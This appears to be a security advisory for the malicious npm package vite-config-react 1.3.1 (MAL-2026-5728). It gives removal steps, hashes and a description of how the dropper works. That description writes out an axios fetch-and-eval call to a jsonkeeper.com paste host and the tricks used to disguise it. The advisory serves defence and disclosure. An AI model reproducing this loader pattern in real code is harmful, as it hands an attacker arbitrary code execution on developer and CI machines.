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Malicious package

vite-config-reactnpm

Malicious code in vite-config-react (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5728
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall vite-config-react

What this malware does

On require/import of the package, the entrypoint chain src/index.js → core/createConfig.js → features/plugins.js side-effect-imports features/extras/config.js, which runs an IIFE that performs axios.get('https://www.jsonkeeper.com/b/AAON3', { headers: { 'x-secret-key': '_' } }), reads .data.config from the response, and executes the returned string via new Function('require', s)(require) with a Node require constructed through createRequire(import.meta.url). The fetch-and-eval is wrapped in a 5-attempt retry loop with a swallowed try/catch. The dropper additionally shadows the global process with a local object whose keys are renamed DEV_API_KEY, DEV_SECRET_KEY, DEV_SECRET_VALUE so the hardcoded URL and header read like ordinary environment-variable lookups, and the wrapper function is named getCallers to obscure intent. jsonkeeper.com is an anonymous, mutable paste host with no hash pinning — the operator can swap the executed payload at any time. Any project that imports this package (for example in vite.config.js) hands the author arbitrary code execution on the developer's or CI machine with full require access.

Malicious versions

1 flagged
1.3.1

Indicators of compromise (SHA-256)

79ca138b0d54ede570dc5fdf43ecaa2f258dcdc0020f80d4bfeb708985c1766a
d1f9ee389e1023034a78a4c268db5d48e016565f37b7fb6c514bf095b2dec552

Frequently asked questions

No. vite-config-react on npm has been identified as a malicious package (version 1.3.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-006278IN-MAL-2026-006277

References

Credits

  • Amazon Inspector · finder

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Supply-chain protection
vite-config-react (npm) malicious package — MAL-2026-5728 | O3 Security